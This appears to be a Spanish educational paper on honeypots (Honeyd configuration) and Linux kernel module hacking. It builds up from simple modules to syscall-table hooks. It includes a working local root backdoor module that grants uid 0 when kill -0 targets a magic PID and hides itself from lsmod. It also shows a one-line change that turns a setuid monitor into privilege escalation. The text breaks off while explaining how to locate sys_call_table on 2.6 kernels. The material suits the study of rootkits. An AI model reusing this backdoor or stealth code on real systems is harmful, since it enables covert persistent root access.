Un interesante ldquopaperrdquo es el de Lance Spitzner disponible en
httpwwwtracking-hackerscompapershoneypotshtml (9 May 2003)
2- Creando sistemas virtuales
Para crear los sistemas virtuales debemos editar el contenido de ldquousrsharehoneydrdquo en mi caso para conseguir nuestro objetivo de simulacioacuten por ejemplo tenemos el fichero ldquoconfigrdquo concretamente configsample que es un ejemplo de configuracioacuten lo probamos copiando honeydconf dentro de etc (en mi caso particular)
Su contenido se muestra a continuacioacuten
route entry 10001 route 10001 link 1020024 route 10001 add net 1030016 10301 latency 8ms bandwidth 10Mbps route 10301 link 1030024 route 10301 add net 1031024 10311 latency 7ms loss 05 route 10311 link 1031024
Example of a simple host template and its binding create template set template personality Microsoft Windows XP Professional SP1 set template uptime 1728650 set template maxfds 35 add template tcp port 80 scriptsiis5netmainpl add template tcp port 22 sh scriptstestsh $ipsrc $dport add template tcp port 23 proxy $ipsrc23 add template udp port 53 proxy 1412119214153 set template default tcp action reset
create default set default default tcp action block set default default udp action block set default default icmp action block
create router
Kernel hacks y seguridad JMP
set router personality Cisco 1601R router running IOS 121(5)set router default tcp action resetadd router tcp port 22 scriptstestshadd router tcp port 23 scriptsrouter-telnetpl
bind 10301 routerbind 10311 routerbind 103112 templatebind 103111 templatebind 103110 templateset 103111 personality Microsoft Windows NT 40 SP3set 103110 personality IBM AIX 42
De igual forma podemos editar el resto de ficheros de intereacutes para modificar lo que queramos no obstante cubrir todas las posibilidades va maacutes allaacute de lo que se persigue en este trabajo La documentacioacuten on-line puede solucionar cualquier duda al respecto
Para probar el sistema podemos usar herramientas de analisis y escaneo de puertos como Nmap ping hping traceroute etc
3- Otros usos
Podemos usar tambieacuten los honeypots para automatizar tareas por ejemplo para limpiar gusanos que han infectado nuestra red imitando el proceso de infeccioacuten pero haciendo que el honeypot lleve a cabo el envio de un programa que limpie el gusano en lugar de propagarlo ejecutando su payload Es solo una idea de todo lo que podemos hacer con un honeypot
Listado de programas yo utilidades para el anaacutelisis de redes y auditorias
acid hping netcat6 sec aimsniff httping netdiscover sflowtool amap hunt nethogs sguil-client angst hydra neti sguil-sensor argus hyperic-hq-agent netio sguil-server arping ibmonitor netleds_applet siphon arpoison ifmetric netperf slurm arp-sk ifstat netselect sniffit arpwatch iftop net-snmp snmpmon authforce ike-scan netspeed_applet snmptt barnyard ipac-ng nettop snort bigeye ipaudit netwag snortalog bing ipcad netwatch snortsam bmon iplog netwox sonar braa ippl ngrep squid-graph bwm-ng iptraf nikto squidsites bwmon iptstate nload ssldump cacti isic nmap sussen cacti-cactid jnettop nmbscan tcpdump calamaris knetscan nomad tcpflow chaosreader knocker ns tcpick cheops-ng labrea nsat tcpreen cnet lft nstats tcpreplay cryptcat libnasl ntop tcpslice cutter linkchecker nttcp tcpstat darkstat macchanger oinkmaster tcptrace
Kernel hacks y seguridad JMP
dnstracer mbrowse p0f tcptraceroute driftnet metadataxml packit tcptrack dsniff metasploit paketto thcrut echoping midas-nms pinger thrulay egressor mirmon pktstat tleds etherape mping pmacct tptest ethereal mrtg poink traceproto ethloop mtr portmon traceroute ethstatus mwcollect portsentry traceroute-nanog ettercap nagios postal trafd fail2ban nagios-core prelude-nagios traffic-vis ffp nagios-imagepack prelude-nessus trafshow firewalk nagios-nrpe prelude-nids ttcp FlowScan nagios-nsca prewikka ttt flow-tools nagios-plugins quidscor upnpscan fping nam rain vnstat fprobe nast rrdtool xnetload fragroute nb rtg xprobe ftester nbaudit sancp xtraceroute fwlogwatch nbtscan sara zabbix-agent gensink nepenthes sarg zabbix-frontend gnome-netstatus nessus sbd zabbix-server gnome-nettool nessus-core scanlogd zodiac gnu-netcat nessus-libraries scanssh gspoof nessus-plugins scapy honeyd netcat scli
Conclusiones
Con los honeypots ya tenemos un punto maacutes que sumar a nuestra seguridad en la red no obstante hay que decir que el mal uso y configuracioacuten del mismo puede provocar tambieacuten alguacuten problema si no se tiene cuidado por lo que el administrador debe ser cauto
ldquoLa puerta mejor cerrada es la que se puede dejar abiertardquo
Trabajo realizado y distribuido a la comunidad por Jose Miguel Porcel G
Kernel hacks y seguridad JMP
BIBLIOGRAFIacuteA Y RECURSOS EN INTERNET
kernel hacks
Programacioacuten ldquoLinux 20rdquo API de sistema y funcionamiento del nuacutecleo Reacutemy Card Eric Dumas Franck Meacutevel editorial ldquoEyrollesrdquo
Coacutedigo fuente de ldquoAdore-ngrdquo
Material de las conferencias del ldquoHackandalusrdquo hackmeeting
HowTo de wwwtldporg sobre ldquoLoadable Kernel Modulesrdquo
Kernelnewbies httpeskernelnewbiesorg
Internet Relay Chat en ircfreenodenet
Artiacuteculo ldquoRootkits The r00t of Digital Evilrdquo
httpwwwomninerdcom20051122articles43
Phrack ldquoHiding Out Under Unixrdquo
Documento PDF DIMVA 2004 DFN-CERT por Andreas Bunten
Documento PDF ldquoRootkit Attacker undercover toolsrdquo por Saliman Manap
Presentacioacuten ldquoUtilizacioacuten de una funcioacuten del sistema operativo por un usuariordquo de SCandela (Universidad de las Palmas de Gran Canaria)
Documentacioacuten del sistema operativo Gentoo y Debian ldquoPotatordquo asiacute como el coacutedigo fuente del Kernel tanto 22 como 24 y 26 wwwkernelorg
Anaacutelisis del rootkit ldquoT0rnrdquo httpwwwsansorgy2kt0rnhtm
Snort NIDS
Documentacioacuten y coacutedigo del sitio web oficial de Snort (wwwsnortorg) y ACID
OReilly ldquoManaging Security with Snort and IDS Toolsrdquo de Kerry JCox y Christopher Gerg Agosto 2004
Artiacuteculo httplinucaorgbodyphtmlnIdNoticia=13 ldquosnort+mysql+acidrdquo
Honeyd
Documentacioacuten del propio programa y web oficial (honeydorg)
Kernel hacks y seguridad JMP
Kernel hacks y seguridad JMP
Kerneland y Userland
Como es de imaginar el nuacutecleo del sistema operativo se encuentra en un modo privilegiado para operar con la maacutequina y sus dispositivos mientras que los usuarios trabajamos con direcciones de memoria virtuales y hacemos las peticiones al nuacutecleo para que realice por nosotros aquellas cosas que no se nos estaacute permitido hacer de forma directa a la zona de memoria del nuacutecleo se le llama simplemente espacio del kernel y a la del usuario espacio de usuario o userland
Si estando en el espacio del kernel cometemos alguacuten fallo o saltamos a una direccioacuten de memoria equivocada es maacutes que probable que el sistema se inestabilice o que surjan comportamientos no previstos que terminaran en un genuino kernel panic y un festival de volcados de memoria que obligaraacuten a reiniciar la maacutequina en el peor de los casos no tendraacutes los discos sincronizados y la maacutequina se reiniciaraacute de inmediato por lo que se recomienda hacerlo (comando sync desde la consola) con el fin de no perder aquellos datos no volcados auacuten al disco y demaacutes
Ni que decir tiene que la manera de trabajar en el espacio del kernel es algo distinta a como lo hariacuteamos en nuestros programas habituales dentro del espacio de usuario pero de todas formas eso lo veremos en breve en el presente trabajo
Archivos de cabecera
Aquellos archivos de cabecera usados por el preprocesador de C se situacutean en el directorio usrinclude y definiraacuten la interfaz de aquellos programas que son compilados aquiacute entrariacutea por ejemplo ldquoltstdiohgtrdquo
Estos archivos de cabecera (o headers en ingleacutes) se enlazan con la biblioteca de C que es distribuida de forma independiente al nuacutecleo por otro lado el Kernel tambieacuten dispone de archivos de cabecera que se usan para su compilacioacuten y que se encuentran en usrsrclinuxinclude aquiacute tenemos el directorio linux que contiene declaraciones que no dependen de la arquitectura y asm para las que siacute dependen de la arquitectura
Llamadas al sistema
En primer lugar iquestqueacute es una llamada al sistema Como he comentado hace un momento en el espacio de usuario un proceso tiene pocos privilegios y necesita del nuacutecleo para trabajar con la maacutequina con total libertad De eacutesta manera podemos definir una llamada al sistema como la peticioacuten transmitida por un proceso al nuacutecleo que trata esta peticioacuten con todos los privilegios devuelve un resultado al proceso y lo hace seguir de forma normal
Para pasar a modo privilegiado (en Linux) el proceso ejecuta una instruccioacuten concreta (Int 0x80) que le hace pasar al modo nuacutecleo y asiacute atender su propia llamada al sistema mediante cierta rutina del nuacutecleo por supuesto suponemos que dicha rutina es totalmente fiable para ejecutarse en modo privilegiado contrastando con la no confiabilidad en el proceso situado en espacio de usuario
Kernel hacks y seguridad JMP
3- Loadable Kernel Modules
Existen varios componentes en el nuacutecleo de Linux que no es necesario tener siempre cargados en memoria por varios motivos por ejemplo si ninguacuten usuario necesita trabajar con particiones NTFS podemos no cargar el moacutedulo que nos permite trabajar con el sistema de ficheros NTFS sin embargo cualquier cosa que modifiquemos del nuacutecleo como antildeadir o eliminar alguacuten gestor de dispositivo implicariacutean tener que recompilar el nuacutecleo si no disponemos de una manera de extenderlo en caliente
Afortunadamente siacute disponemos de los moacutedulos cargables del kernel o Loadable Kernel Modules (LKM a partir de ahora) que nos permiten dotar de modularidad al nuacutecleo Estos LKMs se integraraacuten dinaacutemicamente en el Kernel si los necesitamos o tambieacuten cuando insertamos un moacutedulo a mano soacutelo un usuario privilegiado puede eliminar o insertar un LKM aparte del propio nuacutecleo claro estaacute
Para cargar y descargar moacutedulos tenemos a nuestra entera disposicioacuten (como root) dos comandos que son insmod lmko para insertar y rmmod lkm para descargar un moacutedulo estos programas pueden diferir seguacuten el tipo de Kernel que tengas para cada caso necesitaraacutes instalar los adecuados En el caso de la serie 26 los moacutedulos se insertan mediante insmod lmkko en lugar de o en cualquier momento puede verse que moacutedulos hay cargados mediante lsmod
Pero la verdad es que todo eso asiacute sin maacutes no tiene demasiado sentido lo mejor seraacute dar paso al siguiente listado que ireacute explicando paso a paso y que es vaacutelido para los nuacutecleos de la serie 22 y 24 tambieacuten lo es - de hecho - para la serie 26 pero existen ciertas particularidades a tener en cuenta asiacute que lo tratareacute maacutes adelante por separado
1 define MODULE 2 define __KERNEL__ 3 include ltlinuxversionhgt 4 include ltlinuxkernelhgt 5 include ltlinuxmodulehgt 6 MODULE_PARM(parm_entero i) 7 int parm_entero 8 9 int init_module() 10 printk(LKM cargadon) 11 printk(parm_entero valein parm_entero) 12 return 0 13 14 15 void cleanup_module() 16 printk(LKM descargadon) 17 18 MODULE_LICENSE(GPL) 19 MODULE_AUTHOR(Jose Miguel Porcel G)
Kernel hacks y seguridad JMP
31- Compilacioacuten de LKMs para la serie 24x
Tenemos un moacutedulo que compilar para ello usaremos gcc pero no de la misma forma con la que compilariacuteas un programa normal en C Para compilar el ejemplo anterior deberaacutes usar algo como lo siguiente asumiendo que usrsrclinux apunta al directorio con las fuentes del kernel
root gcc -c listado2c -I usrsrclinuxinclude
lo que nos genera un fichero listado2o (fichero objeto) listo para ser insertado
root insmod listado2o parm_entero=5
podriamos obtener informacioacuten sobre el moacutedulo mediante modinfo ltmoduloogt
Es posible que al intentar insertar el moacutedulo te haya dicho algo asiacute como que no encuentra la versioacuten del Kernel o que la versioacuten del Kernel para la que fue compilado el LKM no coinciden se puede solucionar esto editando usrsrclinuxincludelinuxversionh y adaptarlo para que sea la misma versioacuten que la indicada por uname -r es una medida para salir del paso pero funcionaraacute
Explicacioacuten
En primer lugar tenemos que declarar ciertas macros e incluir unos ficheros concretos sino el programa no compilaraacute debidamente ya que lo que estamos compilando es un moacutedulo que seraacute insertado en el Kernel de esas tres macros que son MODULE_PARM MODULE_AUTHOR y MODULE_LICENSE la uacutenica que merece una explicacioacuten es MODULE_PARM ya que nos permite pasar paraacutemetros al moacutedulo estos paraacutemetros pueden ser de tipo i (int) o bien h (short) s (string) l (long) etc Supongo que el ejemplo ilustra como son pasados los paraacutemetros por lo que no nos entretendremos maacutes con eso
Luego tenemos dos rutinas que son init_module() y cleanup_module() la primera se ejecuta al cargar el moacutedulo y la segunda es una rutina de supresioacuten con descarga Otra cosa a destacar es que no usamos printf() para imprimir mensajes sino que usamos printk() puesto que estamos trabajando dentro del espacio del nuacutecleo y a maacutes bajo nivel
Acabo de decir que usamos printk para imprimir mensajes el caso es que los LKMs no pueden imprimir directamente en pantalla salvo que hagamos algo para que eso ocurra iquestentonces queacute pasa Lo que pasa es que son registrados por el Syslog del sistema manera que si puedes echar un vistazo al terminal del Syslog
Se podraacuten ir viendo los mensajes logueados y registrados en varlogmessages
Kernel hacks y seguridad JMP
4- Sys_call_table[] en kernels 22 y 24
Ha llegado el momento en el que necesitamos tirar de las llamadas al sistema (syscalls) para nuestras intenciones de manera que las vamos a declarar en nuestro moacutedulo
extern void sys_call_table[]
Con eso ya es posible acceder al vector que sirve de contenedor para saber doacutende tenemos que saltar en la memoria al realizar llamada Nadie dice que no podamos usar nosotros ese vector y enganchar (hook) literalmente una rutina que se ejecutariacutea en lugar de la supuesta syscall a la que se llamo -)
Listado 3
1 define MODULE 2 define __KERNEL__ 3 include ltasmunistdhgt 4 include ltlinuxversionhgt 5 include ltlinuxkernelhgt 6 include ltlinuxmodulehgt 7 extern void sys_call_table[] 8 long ( hook_chmod)(const char fichero) 9 10 long mi_chmod(const char fichero) 11 printk([] CHMOD inhibidon) 12 return 0 13 14 15 16 int init_module() 17 printk(LKM Listo y funcionandon) 18 hook_chmod=sys_call_table[__NR_chmod] 19 sys_call_table[__NR_chmod]=mi_chmod 20 printk(SYS_chmod 0xpnhook_chmod) 21 return 0 22 23 24 25 int cleanup_module() 26 printk(Descargandon) 27 sys_call_table[__NR_chmod]=(void )hook_chmod 28 29 30 MODULE_LICENSE(GPL) 31 MODULE_AUTHOR(Jose Miguel Porcel G) 32 MODULE_DESCRIPTION(Ejemplo de hook anula chmod)
Si ahora un usuario intenta hacer chmod para modificar los atributos de un fichero por ejemplo chmod a+rx fichero podraacute observar como no surge ninguacuten tipo de efecto no se procesa la verdadera syscall de chmod sino la suplantada y por tanto se mostraraacute el mensaje por pantalla indicando el evento
El funcionmiento se explica a continuacioacuten
Kernel hacks y seguridad JMP
Resulta que he creado un puntero a una funcioacuten (man chmod) de manera que al inicializar el LKM he guardado en hook_chmod la direccioacuten de la syscall __NR_chmod original dentro del vector con el fin de poder restaurarla al descargar el moacutedulo (queremos seguir usando el verdadero chmod despueacutes de jugar P) y a continuacioacuten hemos redireccionado __NR_chmod a la direccioacuten de memoria donde tenemos nuestra funcioacuten (mi_chmod) de manera que cuando el sistema accede a __NR_chmod procesaraacute la rutina mi_chmod en lugar de la verdadera funcioacuten chmod de ahiacute que no tenga efecto el comando chmod mientras tengas el LKM cargado
iquestDe doacutende se sacan los nombres de las syscalls Basta con mirar ltasmunistdhgt
$cat usrsrclinuxincludelinuxasmunistdh|less
Alliacute encontramos parejas de syscalls y nuacutemero identificador chmod es la 15 en mis fuentes Si ademaacutes tienes algo maacutes de tiempo yo sugiero echar otro vistazo a usrsrclinuxincludelinuxsyscallsh
Si podemos referirnos a las syscalls con __NR_ es porque usamos ltasmunistdhgt
Ahora muestro otro listado para ilustrar como podemos reservar y liberar memoria en el espacio del kernel mediante kmalloc() y kfree() asiacute como la manera de pasar datos desde el espacio de usuario a la memoria del nuacutecleo y al reveacutes gracias a las funciones __generic_copy_from_user y __generic_copy_to_user respectivamente memset se utiliza para llenar la memoria con un byte constante y GFP_KERNEL indica el tipo de asignacioacuten de memoria para el nuacutecleo
Lo que hace es simplemente manipular la syscall rename para que siempre se renombre por jmphack al hacer mv origen destino hay que procurar no sobrescribir ficheros y descargar el moacutedulo cuando se haya visto que funciona usando rmmod
La nueva cabecera antildeadida aquiacute para los tratamientos mencionados justo arriba viene a ser ltlinuxmmhgt
1 define MODULE 2 define __KERNEL__ 3 include ltlinuxversionhgt 4 include ltlinuxkernelhgt 5 include ltasmunistdhgt 6 include ltlinuxmodulehgt 7 include ltlinuxmmhgt
sigue listado 4
Kernel hacks y seguridad JMP
continuando listado 4
8 extern void sys_call_table[] 9 int (hook_mv)(const char desde const char hasta) 10 11 int mi_mv(const char desde const char hasta) 12 char kbuff1=(char )kmalloc(strlen(desde)+1 GFP_KERNEL) 13 memset(kbuff1 0 strlen(desde)+1) 14 importante no dejarnos el +1 del final sino la liamos 15 __generic_copy_from_user(kbuff1 desde strlen(desde)+1) 16 __generic_copy_to_user(hastajmphack) 17 kfree(kbuff1) 18 return((hook_mv)(desde hasta)) 19 20 21 int init_module() 22 printk(LKM cargadon) 23 hook_mv=sys_call_table[__NR_rename] 24 sys_call_table[__NR_rename]=mi_mv 25 return(0) 26 27 28 void cleanup_module() 29 printk(LKM descargadon) 30 sys_call_table[__NR_rename]=hook_mv 31 32 MODULE_LICENSE(GPL) 33 MODULE_AUTHOR(Jose Miguel Porcel G) 34 MODULE_DESCRIPTION(Hook a rename())
Hasta el momento todos los ejemplos que estoy poniendo tienen una utilidad bastante absurda (son para explicar algunas cosas) pero uno se puede dar cuenta de la potencia de un LKM de cara a su uso en sistemas comprometidos no resulta complicado averiguar como trabaja el sistema con los procesos los ficheros y demaacutes para poder - por ejemplo - ocultar un fichero o incluso el propio moacutedulo en la memoria todo esto y algo maacutes lo vemos a continuacioacuten
Kernel hacks y seguridad JMP
5- Protegiendo el UID 0
Tendiendo en cuenta todo lo explicado por el momento en este texto y lo visto en la asignatura de sistemas operativos hasta ahora sabemos que el uid0 se corresponde al id de root (usuario privilegiado) y que al explotar ciertas vulnerabilidades es necesario en algunos casos usar setuid() para establecer privilegios de root En el siguiente coacutedigo se ilustra como evitar que se use setuid(0) por usuarios distintos a root todo debidamente monitoreado esto permite en ciertos casos sumar un punto a la seguridad del sistema
Cabe destacar que el LKM que se muestra es para la serie 24 y habraacute que adaptarlo despueacutes para la serie 26 no obstante solamente habraacute que esperar un poco antes de ver eso
1 define MODULE 2 define __KERNEL__ 3 include ltasmunistdhgt 4 include ltlinuxschedhgt 5 include ltlinuxversionhgt 6 include ltlinuxkernelhgt 7 include ltlinuxmodulehgt 8 extern void sys_call_table[] 9 long ( hook_suid)(uid_t uid) 10 11 long nosuid(uid_t uid) 12 13 int res 14 if (current-gtuid ampamp uid) 15 printk([ALERTA] Ejecutado setuid 0 desde un usuario no rootn) 16 printk(info PID(i) PGRP(i) EUID (i i) =gt i
[DENEGADO]n17 current-gtpid 18 current-gtpgrp 19 current-gteuid 20 current-gtuid 21 uid) 22 res=( hook_suid)(current-gtuid) 23 24 res=( hook_suid)(uid) 25 26 int init_module() 27 printk(LKM Listo y funcionandon) 28 hook_suid=sys_call_table[__NR_setuid32] 29 sys_call_table[__NR_setuid32]=nosuid 30 return 0 31 32 33 int cleanup_module() 34 printk(Descargandon) 35 sys_call_table[__NR_setuid32]=hook_suid 36 37 MODULE_LICENSE(GPL) 38 MODULE_AUTHOR(Jose Miguel Porcel G) 39 MODULE_DESCRIPTION(Controla setuid 0)
Kernel hacks y seguridad JMP
Insertamos el moacutedulo y probamos
root su linux linux$ su root linux$ tail varlogmessages
La novedad en el coacutedigo anterior es en primer lugar que el coacutedigo es ligeramente maacutes uacutetil P y luego que he usado current para referirnos a nosotros mismos es decir al proceso en ejecucioacuten en un instante determinado es por eso que he incluido ltlinuxschedhgt Si miramos ahiacute dentro tenemos una gran estructura task_struct que caracteriza a un proceso no la muestro aquiacute porque es un poco grande como para reproducirla ahora
Modificando el coacutedigo anterior ligeramente justo en la liacutenea 22 por
res=( hook_suid)(0)
hacemos que un usuario no privilegiado pase a elevar sus privilegios sin maacutes
En el siguiente apartado hacemos algo maacutes serio se trata de un backdoor para los nuacutecleos de la serie 24 y que luego adaptareacute tambieacuten a la serie 26 con todo lo que eso conlleva Para ello vamos a manipular la syscall SYS_KILL creando un nuevo ldquosignalrdquo que seraacute muy especial -)
Otra utilidad para SYS_KILL seriacutea evitar que usuarios sin privilegios puedan matar procesos ajenos o incluso podemos proteger procesos de sentildeales (como kill -9) frente a cualquier usuario privilegiado o no
Kernel hacks y seguridad JMP
6- Backdoor local para kernels 24x
Con todo lo visto en los coacutedigos de arriba estaacute totalmente tirado hacer una puerta trasera en el sistema para asegurarnos privilegios de root de hecho un LKM es una forma muy elegante de hacerlo
En el siguiente listado veremos un moacutedulo que daraacute privilegios efectivos de root (euid=0) al user que intente mandar la sentildeal -0 mediante kill a un proceso con un pid determinado por COOLPID - aquiacute con poco sentido poner 00000 = 0 - bastaraacute con ejecutar lo siguiente
linux$ kill -0 00000 (al hacer id vemos que ocurre)
por supuesto no nos interesa que nadie sepa que tenemos un moacutedulo cargado (hacer lsmod y ver ldquobackdoorrdquo canta un poco) por lo que al inicializar la carga del mismo haremos que desaparezca el como lo explico a continuacioacuten despueacutes de mostrar un poco el coacutedigo que aunque estaacute claro que es infinitamente mejorable como ejemplo es perfecto
Kernel hacks y seguridad JMP
backdoor local 1 kernels 22 24 1 define __KERNEL__ 2 define MODULE 3 include ltlinuxkernelhgt 4 include ltlinuxversionhgt 5 include ltlinuxmodulehgt 6 include ltasmunistdhgt 7 include ltlinuxschedhgt 8 define COOLPID 00000 9 no queremos exportar los simbolos ) 10 EXPORT_NO_SYMBOLS 11 extern void sys_call_table[] 12 int (killsysc)(pid_t pidint sig) 13 nos da root si kill -0 COOLPID 14 int hook(pid_t pidint sig) 15 if (sig==0 ampamp pid== COOLPID) 16 current-gteuid=0 17 current-gtuid=0 18 19 return 0 20 21 carga 22 int init_module() 23 ocultamos el LKM 24 struct module yo = amp__this_module 25 secuestrado = NULL 26 secuestrado = yo-gtnext 27 no pudo ser 28 if (secuestrado) return -1 29 su DNI por favor 30 yo-gtname = secuestrado-gtname 31 yo-gtflags = secuestrado-gtflags 32 yo-gtsize = secuestrado-gtsize 33 yo-gtnext = secuestrado-gtnext 34 hook 35 killsysc=sys_call_table[__NR_kill] 36 sys_call_table[__NR_kill]=hook 37 return 0 38 39 descarga 40 int cleanup_module() 41 42 dejamos las cosas en orden 43 sys_call_table[__NR_kill]=killsysc 44 return 0 45 46 publicidad 47 MODULE_LICENSE(GPL) 48 MODULE_AUTHOR(Jose Miguel Porcel G) 49 MODULE_DESCRIPTION(backd00r local simple para 22x y 24x)
En primer lugar iquestqueacute es ese EXPORT_NO_SYMBOLS Resulta que al insertar el moacutedulo nuestras con nuestras funciones se exportan y asiacute los siacutembolos pueden ser usados por otros moacutedulos si ejecutas
$cat procksyms
Kernel hacks y seguridad JMP
Veraacutes la lista de siacutembolos exportado actualmente en el Kernel lo que puede ser bastante sospechoso para nuestro backdoor no cuesta nada NO exportar los siacutembolos mediante esa macro
Resulta interesante echar un vistazo a ltlinuxmodulehgt porque de ahiacute he sacado la informacioacuten para la estructura module que he utilizado ndash entre otras cosas- para ocultar el moacutedulo Como el Kernel guarda una lista simple enlazada con los moacutedulos cargados es muy faacutecil reajustar los punteros al moacutedulo siguiente para eliminar un elemento existente
Al insertar un nuevo moacutedulo eacuteste pasa a ser la referencia al inicio de la lista de manera que se complica el poder quitarnos a nosotros mismos del medio la solucioacuten como se puede ver no es compleja de entender lo que hacemos es coger el siguiente moacutedulo a nosotros en la lista obtener sus propiedades (las que lsmod muestra) y sacar al moacutedulo suplantado de la lista enlazada lo que no deshabilita el moacutedulo simplemente lo oculta se trata de un camuflaje simple pero funciona y eso es lo que vale
El resto del coacutedigo es lo que vengo haciendo hemos interceptado la syscall __NR_kill de manera que cada vez que se ejecute llama a hook (pid_tpid) que verifica si pid_t = 0 y pid = COOLPID si es asiacute establece los privilegios del proceso a uid =0 (root) y euid=0 la auteacutentica llamada a kill se omite
Ahora voy a tratar cosas maacutes serias al empezar con los moacutedulos para el kernel 26x los cambios no son muchos y es faacutecil una vez visto como se soluciona cierto asunto como podemos ajustar los moacutedulos anteriores para que funcionen en un nuevo Kernel de la serie 26
Kernel hacks y seguridad JMP
7- Moacutedulos para la serie 26 del nuacutecleo
Lo mejor para empezar es ver un listado de coacutedigo
Primer ejemplo de un LKM para la serie 26
1 include ltlinuxinithgt 2 include ltlinuxmodulehgt 3 include ltlinuxkernelhgt 4 static int __init carga(void) 5 6 printk(KERN_INFO LKM preparadon) 7 return 0 8 9 static void __exit descarga(void) 10 11 printk(KERN_INFO Nos vamosn) 12 13 module_init(carga) 14 module_exit(descarga)
Lo que se nota raacutepidamente es que he antildeadido ltlinuxinithgt para las macros module_init y module_exit el caso es que el meacutetodo usado a partir de ahora para llamar a las funciones init_module y cleanup_module es mediante esas dos macros lo que nos permite llamar a nuestras rutinas de carga y descarga con el nombre que queramos Otra cosa he antildeadido ahiacute KERN_INFO a printk cosa que hasta ahora no habiacutea hecho y sirve para establecer una prioridad a la hora de registrar o imprimir nuestro mensaje y por defecto tiene prioridad DEFAULT_MESSAGE_LOGLEVEL mirando el fichero kernelh solucionamos dudas sobre esto muestro en todo caso las prioridades ordenadas de mayor a menor
KERN_EMERG lt0gt KERN_ALERT lt1gt KERN_CRIT lt2gt KERN_ERR lt3gt KERN_WARNING lt4gt KERN_NOTICE lt5gt KERN_INFO lt6gt KERN_DEBUG lt7gt
No aparecen arriba define __KERNEL__ y MODULE ya que si lo haces seguramente se te advertiraacute de que las declaraciones estaacuten redefinidas
Kernel hacks y seguridad JMP
Compilacioacuten de LKMs para la serie 26
En primer lugar necesitaremos crear un fichero llamado Makefile cuyo contenido sea
obj-m = moduloo
Explicar ahora el funcionamiento de los Makefile y demaacutes escapa de las pretensiones de eacuteste trabajo pero basta con saber que moduloo es el nombre del LKM que deseamos compilar
Hecho esto y situados en un directorio que contiene tanto el moduloc como el fichero Makefile ejecutamos lo siguiente
root make -C usrsrclinux SUBDIRS=$PWD modules
Una vez terminado el proceso tenemos un moduloko generado listo para insertar de manera habitual con insmod para eliminar el moacutedulo se hace de igual forma con rmmod
8- No exportacioacuten de la Sys_call_table[] para nuacutecleos 26x
Resulta que la famosa Sys_call_table que usaacutebamos para enganchar las syscalls ya no estaacute disponible para su uso indiscriminado asiacute que todo esto nos va a suponer un poco maacutes de trabajo
Encontrando la Sys_call_table[]
Ahora el tema se complica un poco y es preferible explicarlo teniendo en cuenta unos conceptos clave
Las Interrupciones son eventos que nos permiten modificar la secuencia actual de instrucciones que la CPU (x86) procesa Internamente Linux y nuestra maacutequina usan el vector 128 (Int 0x80) para las llamadas al sistema
Una IDT de sistema (Interrupt Descriptor Table) es una tabla en la que sea mapea cada vector a un manejador de excepcioacuten o una interrupcioacuten el registro idtr (en arquitectura x86) contiene la direccioacuten de la base de la IDT
Linux utiliza dos tipos de descriptores las Trap Gates y las Interrupt Gates de manera que los Gate Descriptors (traducido descriptores de puerta o pasarela) sirven como identificador para la direccioacuten de una interrupcioacuten o manejadores de excepciones Aquiacute hemos notado muchas veces que ocurriraacute un fallo de proteccioacuten general cuando el nivel de privilegios del Gate Descriptor es inferior al indicado por el nivel de privilegio de un programa
Un System Gate que es un tipo de Gate corre con un nivel de privilegio 3 (su Descriptor Privilege Level o DPL vale 3 para las System Gates y 0 para Trap Gates por ejemplo) esto es muy interesante para nosotros en el aspecto en que el vector 128 puede ser accedido por medio de syscalls gracias a la famosa Int 0x80 a de Linux y es lo que hacen los programas en modo de usuario
Kernel hacks y seguridad JMP
Resumiendo
Resulta que tenemos una IDT y una GDT (tabla de descriptores global) de manera que cuando queremos acceder a una syscall de sistema usando IDT + GDT se ejecuta una syscall definida iquestdefinida doacutende pues en archi386entryS gentileza del propio Linus Torvalds -)
El hack
Lo ideal seriacutea que editar (soacutelo lectura) archi386entryS para buscar una parte igual o muy similar a la que muestro en la serie 24 cambia ligeramente pero la idea es la misma
usrsrclinuxarchi386kernelentryS
Liacuteneas 225 a 259 de mi kernel 2614 sobre la 277 en versiones 269 y otras ndash por supuesto- esto es asi debido a algunos cambios que se han ido haciendo en el desarrollo
system call handler stub
1 ENTRY(system_call) 2 pushl eax save orig_eax 3 SAVE_ALL 4 GET_THREAD_INFO(ebp) 5 testw
$(_TIF_SYSCALL_EMU|_TIF_SYSCALL_TRACE|_TIF_SECCOMP|_TIF_SYSCALL_AUDIT)TI_ flags(ebp)
6 jnz syscall_trace_entry 7 cmpl $(nr_syscalls) eax 8 jae syscall_badsys 9 syscall_call 10 call sys_call_table(eax4) 11 movl eaxEAX(esp) 12 syscall_exit 13 [ continuacutea]
He omitido algunos comentario del fichero y demaacutes por brevedad
Atencioacuten en la liacutenea que va justo despueacutes de la etiqueta syscall_call ahiacute lo que hace es hacer una llamada pasando en el registro EAX el nuacutemero de la syscall En el mismo fichero entryS maacutes abajo deberiacutea haber algo como lo que sigue esto era cierto hasta las versiones 269 y otras pero recientemente y una vez maacutes esto ha cambiado un poco y ahora tenemos en mi kernel 2614 un fichero ldquosyscall_tableSrdquo en el mismo lugar que contiene una tabla con las llamadas al sistema no sabriacutea decir si es maacutes coacutemodo o no pero lo cierto es que lo deja con un aspecto maacutes bonito para trabajar
Esto es parte de su contenido
Kernel hacks y seguridad JMP
data ENTRY(sys_call_table)
long sys_restart_syscall 0 - old setup() system call
long sys_exit long sys_fork long sys_read long sys_write long sys_open long sys_close long sys_waitpid long sys_creat long sys_link long sys_unlink long sys_execve
long sys_chdir long sys_time long sys_mknod long sys_chmod long sys_lchown16 long sys_ni_syscall long sys_stat long sys_lseek
long sys_getpid long sys_mount long sys_oldumount long sys_setuid16 long sys_getuid16 long sys_stime long sys_ptrace long sys_alarm long sys_fstat long sys_pause long sys_utime long sys_ni_syscall long sys_ni_syscall long sys_access
long sys_nice long sys_ni_syscall long sys_sync long sys_kill long sys_rename long sys_mkdir long sys_rmdir long sys_dup long sys_pipe long sys_times long sys_ni_syscall long sys_brk long sys_setgid16 long sys_getgid16 long sys_signal long sys_geteuid16 long sys_getegid16 long sys_acct long sys_umount long sys_ni_syscall
y continuacutea
used for restarting
5
10
15
old break syscall holder
20
25
30 old stty syscall holder old gtty syscall holder
35 - old ftime syscall holder
40
old prof syscall holder 45
50
recycled never used phys() old lock syscall holder
Kernel hacks y seguridad JMP
Arriba donde dice sys_restart_syscall seriacutea la syscall 0 y sys_exit la 1 bien ese es el lugar para ir a mirar el siacutembolo correspondiente
Ahora tenemos que volcar el contenido de entryo (fichero objeto) del mismo directorio actual de entryS buscando algo MUY concreto queremos esa direccioacuten maacutegica y especial que tan ansiadamente buscamos
Procedo a usar GDB para desensamblar el fichero como muestro en la figura
